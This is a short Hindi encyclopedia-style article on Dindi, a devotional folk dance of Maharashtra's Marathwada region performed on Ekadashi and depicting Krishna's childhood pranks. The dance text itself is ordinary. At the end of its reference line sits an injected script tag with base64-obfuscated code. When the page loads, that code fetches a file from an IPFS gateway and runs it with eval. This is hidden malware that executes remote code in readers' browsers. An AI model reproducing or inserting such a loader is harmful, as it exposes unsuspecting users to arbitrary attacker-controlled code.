दिंडी नृत्य

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दिंडी नृत्य महाराष्ट्र का आध्यात्मिक लोक नृत्य है। यह मराठवाड़ा क्षेत्र में काफ़ी लोकप्रिय है। दिंडी नृत्य एकादशी के दिन होता है। कार्तिक मास की एकादशी को यह नृत्य मुख्य रूप से किया जाता है।

  • दिंडी एक प्रकार का जुलूस होता है, जिसमें अनेक लोग भाग लेते हैं।
  • नृत्य में भगवान श्रीकृष्ण की बाल-लीलाओं को दर्शाया जाता है।
  • एक गायक और एक पखावज बजाने वाला इस नृत्य में होता है, जिसकी थाप पर नर्तक थिरकते हैं।
  • दिंडी की ही भांति एक अन्य 'कला' नृत्य में भी कृष्ण भगवान के शरारती, नटखट स्वभाव को दर्शाया जाता है। इस नृत्य में दही की मटकी फोड़ने के श्रीकृष्ण के बचपन के पसंदीदा खेल को प्रदर्शित किया जाता है।
  • कुछ नर्तक अपने साथियों के कंधों पर चढ़कर ऊपर लटकी दही की भटकी को फोड़ देते हैं।[1]


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टीका टिप्पणी और संदर्भ

  1. महाराष्ट्र के लोक नृत्य (हिन्दी)। । अभिगमन तिथि: 16 अक्टूबर, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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